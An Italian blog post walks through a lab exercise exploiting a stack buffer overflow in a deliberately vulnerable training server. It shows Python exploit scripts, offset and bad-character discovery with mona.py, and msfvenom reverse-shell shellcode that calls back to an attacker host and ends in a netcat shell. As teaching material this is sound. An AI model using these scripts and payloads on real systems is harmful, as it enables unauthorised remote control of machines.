Ripasso pratico di sicurezza: sfruttare una vulnerabilità di stack overflow

Oggi ho deciso di ripetere un esercizio svolto durante il corso con Epicode come ripasso e mi sono chiesto: *"Perché non condividerlo con un pubblico più ampio?"*

In questo esperimento, testerò un server vulnerabile chiamato dostackbufferoverflowgood.exe, eseguito su una macchina virtuale Windows, mentre la macchina attaccante sarà una distribuzione Kali Linux.

Cos'è uno stack overflow?

Uno stack overflow è un errore che si verifica quando un programma prova a scrivere dati oltre il limite della memoria allocata per lo stack. Questo può causare:

- **Crash dell'applicazione;**
- **Comportamenti anomali;**
- **Vulnerabilità sfruttabili.**

L'obiettivo di questo esercizio è dimostrare come un attaccante possa sfruttare questa vulnerabilità per eseguire codice malevolo e prendere il controllo del flusso di esecuzione del programma.

Fasi iniziali

Per iniziare, avviamo l'applicazione vulnerabile. Poiché la porta di ascolto non è indicata, utilizziamo Nmap per identificare il nostro punto d'attacco. La scansione rivela che la porta di interesse è la 31337.

Successivamente, testiamo la connessione con netcat, confermando che il server è attivo e risponde correttamente.

Strumenti utilizzati

Per completare l'exploit, ci avvaliamo di due strumenti fondamentali:

- **Immunity Debugger: consente di monitorare lo stato dei registri e analizzare il codice a livello assembly. È cruciale per comprendere il comportamento del programma durante l'overflow.**
- **Mona.py: uno script Python integrato in Immunity Debugger, che semplifica operazioni come il calcolo degli offset e l'individuazione di istruzioni utili per l'exploit.**

Registri di interesse

Durante il debugging, ci sono tre registri principali da monitorare:

- **ESP (Stack Pointer): punta alla cima dello stack, ovvero alla prossima posizione di memoria per lettura o scrittura.**
- **EBP (Base Pointer): punta alla base dello stack, utile per gestire il frame della funzione corrente.**
- **EIP (Instruction Pointer): contiene l'indirizzo della prossima istruzione che la CPU eseguirà. Manipolare l'EIP significa poter controllare il flusso di esecuzione del programma.**

```
Registers (FPU)
EAX 00000000
ECX 00000000
EDX 00000000
EBX 931586A9
ESP 0019FEBC
EBP 0019FECC
ESI FFFFFFFF
EDI 77098920 ntdll.77098920
EIP 76FF8EAC ntdll.76FF8EAC
```

Causare l'overflow

Scriviamo uno script in Python per generare un overflow, sovrascrivendo i registri con caratteri specifici (ad esempio, la lettera "A"). Questo ci consente di osservare l'impatto dei dati in eccesso sui registri.

```
  GNU nano 8.2
import struct
import socket

TARGET_IP = "192.168.50.166"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT)

CRASH_LEN = 1000

payload = b"A" * CRASH_LEN
payload += b"\n"

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    print(f"sent {sent} bytes")
```

Avviando lo script, otteniamo il seguente risultato:

- **Lo ESP viene riempito con il carattere A.**
- **EBP e EIP riportano il valore 41, corrispondente al carattere ASCII di "A".**

```
Registers (FPU)
EAX FFFFFFFF
ECX E5E2D55F
EDX 00000000
EBX 003745E8
ESP 005619F0 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 41414141
ESI 08041470 dostackb.08041470
EDI 003745E8
EIP 41414141
```

Individuare gli offset

Il passo successivo è individuare gli offset, cioè le posizioni precise in cui i dati sovrascrivono l'EIP. Utilizziamo gli strumenti di Kali Linux, come pattern_create e pattern_offset, per calcolare con precisione questi valori.

```
┌──(kali㉿kali)-[~]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A
f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak
4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6
Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8A
u9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba
1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3
Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
```

```
Registers (FPU)
EAX FFFFFFFF
ECX 206429D0
EDX 00000000
EBX 00338950
ESP 008E19F0 ASCII "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7A
EBP 65413765
ESI 08041470 dostackb.08041470
EDI 00338950

EIP 39654138
```

```
Python 3.12.7 (main, Nov  8 2024, 17:55:36
) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "li
cense" for more information.
>>> import struct
>>> struct.pack("<I", 0x39654138)
b'8Ae9'
```

```
┌──(kali㉿kali)-[~]
└─$ /usr/share/metasploit-framework/tools/
exploit/pattern_offset.rb -q 8Ae9
[*] Exact match at offset 146
```

Modifica dello script e nuovo test

Con gli offset calcolati, aggiorniamo lo script per verificare la manipolazione mirata dei registri. Il test successivo mostra come i dati sovrascrivano correttamente l'EIP.

```
  GNU nano 8.2
import struct
import socket

TARGET_IP = "192.168.50.166"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT)

offset = 146

payload = b"A" * offset
payload += b"B" * 4
payload += b"C" * 32
payload += b"\n"

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    print(f"sent {sent} bytes")
```

```
Registers (FPU)
EAX FFFFFFFF
ECX B8B83241
EDX 00000000
EBX 00244B00
ESP 007A19F0 ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC↑↑↑▣"
EBP 41414141
ESI 08041470 dostackb.08041470
EDI 00244B00
EIP 42424242
```

Ora possiamo vedere gli indirizzi precisi e, grazie a Mona.py, identificare le istruzioni utili per reindirizzare il flusso verso un payload specifico.

Trovare i badchars

I badchars sono caratteri che possono interrompere o influenzare negativamente l'esecuzione del payload (ad esempio, terminatori nulli). Utilizziamo Mona.py per automatizzare la ricerca, confrontando i dati inviati con quelli ricevuti in memoria. Mona segnalerà eventuali discrepanze.

```
[+] This mona.py action took 0:00:00
[+] Command used:
!mona bytearray -b "\x00"
 *** Note: parameter -b has been deprecated and replaced with -cpb ***
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - Creating working folder c:\mona\dostackbufferoverflowgood
    - Folder created
    - (Re)setting logfile c:\mona\dostackbufferoverflowgood\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


Done, wrote 255 bytes to file c:\mona\dostackbufferoverflowgood\bytearray.txt
Binary output saved in c:\mona\dostackbufferoverflowgood\bytearray.bin
```

```
  GNU nano 8.2                                  overflow.py
import struct
import socket

TARGET_IP = "192.168.50.166"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT)

offset = 146

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


payload = b"A" * offset
payload += b"B" * 4
payload += bad_chars
payload += b"C" * 100
payload += b"\n"

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    print(f"sent {sent} bytes")
```

Dopo aver individuato i badchars, possiamo procedere con la creazione di un payload pulito, escludendo i caratteri problematici.

Creazione del payload e sfruttamento finale

Con un payload privo di badchars, utilizziamo msfvenom per generare un exploit adatto. Mona.py ci fornisce i punti in memoria dove inserire il codice malevolo.

```
[+] This mona.py action took 0:00:08.230000
[+] Command used:
!mona jmp -r esp -cpb '\x00\x0a'

---------- Mona command started on 2024-11-27 15:55:26 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Bad char filter will be applied to pointers : '\x00\x0a'
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module dostackbufferoverflowgood.exe
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile c:\mona\dostackbufferoverflowgood\jmp.txt
[+] Writing results to c:\mona\dostackbufferoverflowgood\jmp.txt
    - Number of pointers of type 'jmp esp' : 2
[+] Results :
  0x080414c3 : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False,
  0x080416bf : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False,
    Found a total of 2 pointers
```

```
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.158 LPORT=9876  -f python -v shellcode -b '\x00\x0a' EXITFUNC=thread

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode =  b""
shellcode += b"\xba\x3a\x6e\xbb\xa0\xdb\xd1\xd9\x74\x24\xf4"
shellcode += b"\x5d\x31\xc9\xb1\x52\x83\xc5\x04\x31\x55\x0e"
shellcode += b"\x03\x6f\x60\x59\x55\x73\x94\x1f\x96\x8b\x65"
shellcode += b"\x40\x1e\x6e\x54\x40\x44\xfb\xc7\x70\x0e\xa9"
shellcode += b"\xeb\xfb\x42\x59\x7f\x89\x4a\x6e\xc8\x24\xad"
shellcode += b"\x41\xc9\x15\x8d\xc0\x49\x64\xc2\x22\x73\xa7"
shellcode += b"\x17\x23\xb4\xda\xda\x71\x6d\x90\x49\x65\x1a"
shellcode += b"\xec\x51\x0e\x50\xe0\xd1\xf3\x21\x03\xf3\xa2"
shellcode += b"\x3a\x5a\xd3\x45\xee\xd6\x5a\x5d\xf3\xd3\x15"
shellcode += b"\xd6\xc7\xa8\xa7\x3e\x16\x50\x0b\x7f\x96\xa3"
shellcode += b"\x55\xb8\x11\x5c\x20\xb0\x61\xe1\x33\x07\x1b"
shellcode += b"\x3d\xb1\x93\xbb\xb6\x61\x7f\x3d\x1a\xf7\xf4"
shellcode += b"\x31\xd7\x73\x52\x56\xe6\x50\xe9\x62\x63\x57"
shellcode += b"\x3d\xe3\x37\x7c\x99\xaf\xec\x1d\xb8\x15\x42"
shellcode += b"\x21\xda\xf5\x3b\x87\x91\x18\x2f\xba\xf8\x74"
shellcode += b"\x9c\xf7\x02\x85\x8a\x80\x71\xb7\x15\x3b\x1d"
shellcode += b"\xfb\xde\xe5\xda\xfc\xf4\x52\x74\x03\xf7\xa2"
shellcode += b"\x5d\xc0\xa3\xf2\xf5\xe1\xcb\x98\x05\x0d\x1e"
shellcode += b"\x0e\x55\xa1\xf1\xef\x05\x01\xa2\x87\x4f\x8e"
shellcode += b"\x9d\xb8\x70\x44\xb6\x53\x8b\x0f\x79\x0b\xa1"
shellcode += b"\x51\x11\x4e\xc5\x4b\x76\xc7\x23\xf9\x66\x8e"
shellcode += b"\xfc\x96\x1f\x8b\x76\x06\xdf\x01\xf3\x08\x6b"
shellcode += b"\xa6\x04\xc6\x9c\xc3\x16\xbf\x6c\x9e\x44\x16"
shellcode += b"\x72\x34\xe0\xf4\xe1\xd3\xf0\x73\x1a\x4c\xa7"
shellcode += b"\xd4\xec\x85\x2d\xc9\x57\x3c\x53\x10\x01\x07"
shellcode += b"\xd7\xcf\xf2\x86\xd6\x82\x4f\xad\xc8\x5a\x4f"
shellcode += b"\xe9\xbc\x32\x06\xa7\x6a\xf5\xf0\x09\xc4\xaf"
```

```
import struct
import socket

TARGET_IP = "192.168.50.166"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT)

offset = 146

shellcode =  b""
shellcode += b"\xba\x3a\x6e\xbb\xa0\xdb\xd1\xd9\x74\x24\xf4"
shellcode += b"\x5d\x31\xc9\xb1\x52\x83\xc5\x04\x31\x55\x0e"
shellcode += b"\x03\x6f\x60\x59\x55\x73\x94\x1f\x96\x8b\x65"
shellcode += b"\x40\x1e\x6e\x54\x40\x44\xfb\xc7\x70\x0e\xa9"
shellcode += b"\xeb\xfb\x42\x59\x7f\x89\x4a\x6e\xc8\x24\xad"
shellcode += b"\x41\xc9\x15\x8d\xc0\x49\x64\xc2\x22\x73\xa7"
shellcode += b"\x17\x23\xb4\xda\xda\x71\x6d\x90\x49\x65\x1a"
shellcode += b"\xec\x51\x0e\x50\xe0\xd1\xf3\x21\x03\xf3\xa2"
shellcode += b"\x3a\x5a\xd3\x45\xee\xd6\x5a\x5d\xf3\xd3\x15"
shellcode += b"\xd6\xc7\xa8\xa7\x3e\x16\x50\x0b\x7f\x96\xa3"
shellcode += b"\x55\xb8\x11\x5c\x20\xb0\x61\xe1\x33\x07\x1b"
shellcode += b"\x3d\xb1\x93\xbb\xb6\x61\x7f\x3d\x1a\xf7\xf4"
shellcode += b"\x31\xd7\x73\x52\x56\xe6\x50\xe9\x62\x63\x57"
shellcode += b"\x3d\xe3\x37\x7c\x99\xaf\xec\x1d\xb8\x15\x42"
shellcode += b"\x21\xda\xf5\x3b\x87\x91\x18\x2f\xba\xf8\x74"
shellcode += b"\x9c\xf7\x02\x85\x8a\x80\x71\xb7\x15\x3b\x1d"
shellcode += b"\xfb\xde\xe5\xda\xfc\xf4\x52\x74\x03\xf7\xa2"
shellcode += b"\x5d\xc0\xa3\xf2\xf5\xe1\xcb\x98\x05\x0d\x1e"
shellcode += b"\x0e\x55\xa1\xf1\xef\x05\x01\xa2\x87\x4f\x8e"
shellcode += b"\x9d\xb8\x70\x44\xb6\x53\x8b\x0f\x79\x0b\xa1"
shellcode += b"\x51\x11\x4e\xc5\x4b\x76\xc7\x23\xf9\x66\x8e"
shellcode += b"\xfc\x96\x1f\x8b\x76\x06\xdf\x01\xf3\x08\x6b"
shellcode += b"\xa6\x04\xc6\x9c\xc3\x16\xbf\x6c\x9e\x44\x16"
shellcode += b"\x72\x34\xe0\xf4\xe1\xd3\xf0\x73\x1a\x4c\xa7"
shellcode += b"\xd4\xec\x85\x2d\xc9\x57\x3c\x53\x10\x01\x07"
shellcode += b"\xd7\xcf\xf2\x86\xd6\x82\x4f\xad\xc8\x5a\x4f"
```

Modifichiamo lo script includendo il payload e le istruzioni di salto. Dalla macchina attaccante ci mettiamo in ascolto con netcat sulla porta configurata, avviamo lo script e… funziona!

```
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9876
listening on [any] 9876 ...
connect to [192.168.50.158] from (UNKNOWN) [192.168.50.166] 49547
Microsoft Windows [Versione 10.0.10240]
(c) 2015 Microsoft Corporation. Tutti i diritti sono riservati.

C:\Users\user\Desktop\Buffer-Overflow-Vulnerable-app-main>whoami
whoami
desktop-9k1o4bt\user

C:\Users\user\Desktop\Buffer-Overflow-Vulnerable-app-main>
```

Conclusioni

Questo esercizio dimostra in modo pratico come uno stack overflow possa essere sfruttato per prendere il controllo di un programma vulnerabile. È un esempio chiave per comprendere i rischi legati a una gestione errata della memoria e l'importanza di mitigare queste vulnerabilità.

Grazie a Immunity Debugger, Mona.py e gli strumenti di Kali Linux, possiamo analizzare il problema e costruire un exploit efficace.

Se avete domande o volete condividere esperienze simili, lasciate un commento. La sicurezza informatica è un campo in continua evoluzione: condividere le conoscenze è essenziale!